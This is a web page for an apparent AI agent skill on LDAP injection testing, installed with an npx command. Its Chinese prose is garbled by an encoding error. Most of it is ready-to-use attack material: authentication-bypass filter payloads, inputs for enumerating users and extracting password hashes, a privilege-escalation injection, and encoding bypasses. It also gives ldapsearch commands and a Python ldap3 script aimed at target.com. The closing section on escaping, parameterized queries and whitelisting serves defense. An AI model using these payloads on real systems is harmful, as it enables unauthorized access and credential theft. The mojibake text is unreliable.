ldap-injection-testing
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill ldap-injection-testing
Agent 安装分布
Skill 文档
LDAPæ³¨å ¥æ¼æ´æµè¯
æ¦è¿°
LDAPæ³¨å ¥æ¯ä¸ç§ç±»ä¼¼äºSQLæ³¨å ¥çæ¼æ´ï¼å©ç¨LDAPæ¥è¯¢è¯å¥çæé 缺é·ï¼å¯è½å¯¼è´ä¿¡æ¯æ³é²ãæéç»è¿çãæ¬æè½æä¾LDAPæ³¨å ¥çæ£æµãå©ç¨å鲿¤æ¹æ³ã
æ¼æ´åç
åºç¨ç¨åºå°ç¨æ·è¾å ¥ç´æ¥æ¼æ¥å°LDAPæ¥è¯¢è¯å¥ä¸ï¼æªè¿è¡å åéªè¯åè¿æ»¤ï¼å¯¼è´æ»å»è å¯ä»¥ä¿®æ¹æ¥è¯¢é»è¾ã
å±é©ä»£ç 示ä¾ï¼
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
LDAPåºç¡
æ¥è¯¢è¯æ³
åºç¡æ¥è¯¢ï¼
(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))
ç¹æ®å符
éè¦è½¬ä¹çå符ï¼
()– æ¬å·*– éé 符\– 转ä¹ç¬¦/– è·¯å¾åé符NUL– 空å符
æµè¯æ¹æ³
1. è¯å«LDAPè¾å ¥ç¹
常è§åè½ï¼
- ç¨æ·ç»å½
- ç¨æ·æç´¢
- ç®å½æµè§
- æééªè¯
2. åºç¡æ£æµ
æµè¯ç¹æ®å符ï¼
*)(&
*)(|
*))(
*))%00
æµè¯é»è¾æä½ç¬¦ï¼
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
3. 认è¯ç»è¿
åºç¡ç»è¿ï¼
ç¨æ·å: *)(&
å¯ç : *
æ¥è¯¢: (&(cn=*)(&)(userPassword=*))
æ´ç²¾ç¡®çç»è¿ï¼
ç¨æ·å: admin)(&(cn=admin
å¯ç : *))
æ¥è¯¢: (&(cn=admin)(&(cn=admin)(userPassword=*)))
4. ä¿¡æ¯æ³é²
æä¸¾ç¨æ·ï¼
*)(cn=*
*)(uid=*
*)(mail=*
è·å屿§ï¼
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
å©ç¨ææ¯
认è¯ç»è¿
æ¹æ³1ï¼é»è¾ç»è¿
è¾å
¥: *)(&
æ¥è¯¢: (&(cn=*)(&)(userPassword=*))
ç»æ: å¹é
ææç¨æ·
æ¹æ³2ï¼æ³¨éç»è¿
è¾å
¥: admin)(&(cn=admin
æ¥è¯¢: (&(cn=admin)(&(cn=admin)(userPassword=*)))
æ¹æ³3ï¼éé 符
è¾å
¥: *)(|(cn=*)(userPassword=*
æ¥è¯¢: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
ä¿¡æ¯æ³é²
æä¸¾ææç¨æ·ï¼
æç´¢: *)(cn=*
ç»æ: è¿åææcn屿§
è·åå¯ç åå¸ï¼
æç´¢: *)(|(cn=*)(userPassword=*
ç»æ: è¿åç¨æ·åå¯ç åå¸
è·åææå±æ§ï¼
æç´¢: *)(|(cn=*)(mail=*)(telephoneNumber=*
ç»æ: è¿åå¤ä¸ªææå±æ§
æéæå
ä¿®æ¹æ¥è¯¢é»è¾ï¼
åå§: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注å
¥: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
ç»æ: å¯è½ç»è¿æéæ£æ¥
ç»è¿ææ¯
ç¼ç ç»è¿
URLç¼ç ï¼
*)(& â %2A%29%28%26
*)(| â %2A%29%28%7C
Unicodeç¼ç ï¼
* â \u002A
( â \u0028
) â \u0029
注éç»è¿
ä½¿ç¨æ³¨éï¼
*)(&(cn=*
*)(|(cn=*
空åç¬¦æ³¨å ¥
使ç¨NULLåèï¼
*))%00
å·¥å ·ä½¿ç¨
JXplorer
å¾å½¢åLDAP客æ·ç«¯ï¼
- è¿æ¥LDAPæå¡å¨
- æµè§ç®å½ç»æ
- æ§è¡æ¥è¯¢æµè¯
ldapsearch
# åºç¡æ¥è¯¢
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# æµè¯æ³¨å
¥
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
Burp Suite
- æ¦æªLDAPæ¥è¯¢è¯·æ±
- ä¿®æ¹æ¥è¯¢åæ°
- è§å¯ååºç»æ
Pythonèæ¬
import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# æµè¯æ³¨å
¥
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
éªè¯åæ¥å
éªè¯æ¥éª¤
- 确认å¯ä»¥æ§å¶LDAPæ¥è¯¢
- éªè¯è®¤è¯ç»è¿æä¿¡æ¯æ³é²
- è¯ä¼°å½±åï¼æªææè®¿é®ãæ°æ®æ³é²çï¼
- è®°å½å®æ´çPOC
æ¥åè¦ç¹
- æ¼æ´ä½ç½®åè¾å ¥åæ°
- LDAPæ¥è¯¢æé æ¹å¼
- 宿´çå©ç¨æ¥éª¤åPoC
- ä¿®å¤å»ºè®®ï¼è¾å ¥éªè¯ãåæ°åæ¥è¯¢çï¼
鲿¤æªæ½
æ¨èæ¹æ¡
-
è¾å ¥éªè¯
private static final String[] LDAP_ESCAPE_CHARS = {"\\", "*", "(", ")", "\0", "/"}; public static String escapeLDAP(String input) { if (input == null) { return null; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) { sb.append("\\"); } sb.append(c); } return sb.toString(); } -
åæ°åæ¥è¯¢
// 使ç¨LDAP APIçåæ°ååè½ String filter = "(&(cn={0})(userPassword={1}))"; Object[] args = {escapedCN, escapedPassword}; // 使ç¨APIæå»ºæ¥è¯¢ -
ç½ååéªè¯
// åªå 许ç¹å®å符 if (!input.matches("^[a-zA-Z0-9@._-]+$")) { throw new IllegalArgumentException("Invalid input"); } -
æå°æé
- LDAPè¿æ¥ä½¿ç¨æå°æéè´¦æ·
- éå¶å¯æ¥è¯¢ç屿§
- 使ç¨è®¿é®æ§å¶å表
-
é误å¤ç
- ä¸è¿å详ç»é误信æ¯
- ç»ä¸é误ååº
- è®°å½é误æ¥å¿
注æäºé¡¹
- ä» å¨æææµè¯ç¯å¢ä¸è¿è¡
- 注æä¸åLDAPæå¡å¨çè¯æ³å·®å¼
- æµè¯æ¶é¿å 对ç®å½é æå½±å
- äºè§£ç®æ LDAPæå¡å¨çé ç½®